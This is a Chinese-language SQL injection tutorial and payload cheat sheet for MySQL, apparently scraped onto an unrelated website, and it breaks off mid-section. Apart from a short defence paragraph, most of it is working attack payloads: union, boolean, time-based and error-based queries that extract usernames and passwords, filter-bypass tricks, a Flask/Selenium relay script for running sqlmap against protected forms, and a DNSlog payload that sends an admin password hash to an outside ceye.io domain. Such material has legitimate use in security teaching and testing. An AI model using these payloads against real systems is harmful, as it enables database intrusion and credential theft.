SQL注入漏洞 您所在的位置:网站首页 三时三餐李钟硕是哪一季哪一期 SQL注入漏洞

SQL注入漏洞

#SQL注入漏洞 | 来源: 网络整理| 查看: 265

SQL注入漏洞基本原理 #

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。

可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

防御方法 #

使用参数化查询。

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

避免数据变成代码被执行,时刻分清代码和数据的界限。

MySQL基础知识 #

MySQL默认的数据库有

sys、mysql、performance_schema、information_schema;

information_schema存放着所有的数据库信息(5.0版本以上才有这个库)

这个库有三个表:

SCHEMATA 该表存放用户创建的所有数据库库名 SCHEMA_NAME 字段记录数据库库名 TABLES 该表存放用户创建的所有数据库库名和表名 TABLE_SCHEMA 字段记录数据库名 TABLE_NAME 字段记录表名 COLUMNS 该表存放用户创建的所有数据库库名、表名和字段名 TABLE_SCHEMA 字段记录数据库名 TABLE_NAME 字段记录表名 COLUMN_NAME 字段记录字段名 查找SQL注入漏洞 # Union注入 #

以MySQL注入为例

1、在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错

?id=1' and 1=1# 页面返回正常 ?id=1' and 1=2# 页面返回不正常 12

2、利用order by猜测字段

?id=1%27%20order%0aby%0c2%23 --返回正常 --上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思 ?id=1%27 order by 3# --返回正常 ?id=1%27 order by 4# --返回正常 ?id=1%27 order by 5# --返回错误 --这就证明字段总数为4 1234567

3、利用union联合查询

?id=-1%27 union select 1,2,3,4# --看哪个字段可以显示信息,利用它获取数据库信息 --修改id为一个不存在的id,强行报错 --因为代码默认只返回第一条结果,不会返回 union select 的结果 123

4、获取数据库信息

id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())# user() --获取数据库用户名 database() --获取数据库名 version() --获取数据库版本信息 concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串 --里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出 --其它信息 @@datadir --数据库路径 @@version_compile_os --操作系统版本 1234567891011

5、查询数据库的表

id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1# --table_schema=数据库名16进制或者用单引号括起来 --改变limit 0,1中前一个参数,得到所有表 1234

6、查询数据库字段

id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27limit 0,1# 1

7、脱裤,获取数据

union select 1,2,3,group_concat(name,password)%20from%20sc# --用字段名从表中取数据 group_concat(str1,str2,...) --连接一个组的所有字符串 123Boolean注入 #

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

1、在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错

?id=1' and 1=1# 页面返回正常 ?id=1' and 1=2# 页面返回不正常 12

2、判断数据库名的长度

1'and length(database())>=1--+ 页面返回正常 1'and length(database())>=13--+ 页面返回正常 1'and length(database())>=14--+ 页面返回错误 由此判断得到数据库名的长度是13个字符 12345

3、猜解数据库名

使用逐字符判断的方式获取数据库名;

数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。

' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。 1234

用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。

还可以用ASCII码查询

a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:

' and ord(substr(database(),1,1))=97--+ 1

ASCII码表中可显示字符的范围是:0~127

4、判断数据库表名

' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+ --修改1,1前边的1~20,逐字符猜解出第一个表的名 --修改limit的0,1前边的0~20,逐个猜解每个表 1234

5、判断数据库字段名

' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+ --修改1,1前边的1~20,逐字符猜解出第一个字段的名 --修改limit的0,1前边的0~20,逐个猜解每个字段 1234

6、取数据

' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+ 1

当然如果嫌用Burp慢的话,可以自己编写脚本,修改payload就行了

一般盲注的话都是自己写脚本比较快。

报错注入 #

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

常用的MySQL报错函数

--xpath语法错误 extractvalue() --查询节点内容 updatexml() --修改查询到的内容 它们的第二个参数都要求是符合xpath语法的字符串 如果不满足要求则会报错,并且将查询结果放在报错信息里 --主键重复(duplicate entry) floor() --返回小于等于该值的最大整数 只要是count,rand(),group by 三个连用就会造成这种主键重复报错 123456789

1、尝试用单引号报错

2、获取数据库名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ --0x7e是"~"符号的16进制,在这作为分隔符 1234

3、获取表名

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+ 1

4、获取字段名

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+ 1

5、取数据

' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 1

其它函数payload语法:

--extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 12345时间型盲注 #

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。

可以用benchmark,sleep等造成延时效果的函数。

如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。

1、利用sleep判断数据库名长度

' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒 ' and sleep(5) and 1=2--+ 页面返回不正常,不延时 and if(length(database())>1,sleep(5),1) --if(条件表达式,真,假) --C语言的三目运算符类似 12345

2、获取数据库名

and if(substr(database(),1,1)='a',sleep(5),1)--+ 1

具体数据以此类推即可。

时间型盲注的加速方式 #

1、Windows平台上的Mysql可以用DNSlog加速注入

2、利用二分查找法

sqlmap盲注默认采用的是二分查找法

利用 ASCII 码作为条件来查询,ASCII 码中字母范围在65~122之间 以这个范围的中间数为条件,判断payload中传入的 ASCII 码是否大于这个中间数 如果大于,就往中间数~122这块查找。反之亦然~ 注入技巧 # DNSlog盲注详解 #

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息;

DNSlog就是记录用户访问网站域名时,记录DNS和对应的IP的转换访问日志;

MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;

通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据

union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM user WHERE name='admin' LIMIT 1),'.mysql.wintrysec.ceye.io\abc')) --Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入 123

注意:load_file()只能在windows平台上才能发起请求,linux下做dnslog攻击是不行的

因为UNC通用命名规范, \\server\share_name

上边 CONCAT 应该写四个反斜杠 \,因为最后会被转义成两个

因为Linux没有遵守UNC,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS

secure-file-priv参数是用来限制 LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的

ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

在时间型盲注中用DNSlog加速注入

'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23 1

DNSlog在SQL注入中的实战 (opens new window)

宽字节注入(过滤了单引号) #

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv('utf-8','gbk',$_GET['id']),也可能导致注入产生

修复建议:

(1)使用mysqli_set_charset(GBK)指定字符集

(2)使用mysqli_real_escape_string进行转义

二阶注入 #

当数据首次插入到数据库中时,许多应用程序能够安全处理这些数据;addslashes() 等字符转义函数。

一旦数据存储在数据库中,随后应用程序本身或其它后端进程可能会以危险的方式处理这些数据。

许多这类应用并不像面向因特网的主要应用程序一样安全,却拥有较高权限的数据库账户。

第一次HTTP请求是精心构造的,为第二次HTTP请求触发漏洞做准备。

使用Burp和自定义Sqlmap Tamper利用二次注入漏洞 (opens new window)

中转注入 #

当网站做了token保护或js前端加密的情况下;

对于这些站点当手工发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入;

本地起个Server,然后用sqlmap扫这个server,Server接收到payload后加到表单中提交。

Python+selenium做中转注入

from flask import Flask from flask import request from selenium import webdriver driver_path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python37/Lib/site-packages/selenium/webdriver/chrome/chromedriver.exe" chrome = webdriver.Chrome(driver_path) chrome.get("http://127.0.0.1")#目标注入点 app = Flask(__name__) def send(payload): #起到中转payload效果。 chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方 chrome.find_element_by_id("password").send_keys("aaaa") chrome.find_element_by_id("submit").click() return "plase see flask server!" #随便返回一下不重要 @app.route('/') def index(): # 接收sqlmap传递过来的payload payload = request.args.get("payload") return send(payload) if __name__ == "__main__": app.run() 1234567891011121314151617181920212223

用PHP做中转注入

1234567891011121314151617181920

sqlmap不能忽略证书,跑不了https的网站

12345sqlmap-u "http://127.0.0.1/trans_sqli.php?id=12" -v3 --dbs 1过滤了逗号怎么办 #

盲注的时候

LIMIT M OFFSET N --这里的 M 是最大回显限度,N是偏移量 --与limit N,M 有相同效果 ' and ascii(substr((select database()),1,1))=xxx# --可变为 ' and ascii(substr((select database())from 1 for 1))=xxx# 12345678

union联合查询注入时

union select 1,2,3 union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23 union select * from ((select 1)a JOIN (select 2)b JOIN (select CONCAT_WS(CHAR(32,58,32),user(),database(),version()))c)%23 1234Between And代替 ">" 尖括号 #

在sqlmap中使用between and 代替其它字符加上 --tamper=between 即可

判断条件真假

2 > 1 #真 0 > 1 #假 #以下用between and 实现判断真假 2 between 1 and 3 #真 3 betwwen 1 and 2 #假 12345

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤

select database() between 0x61 and 0x7a; //select database() between 'a' and 'z'; 1未知列名情况下的注入利用 #

mysql版本



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有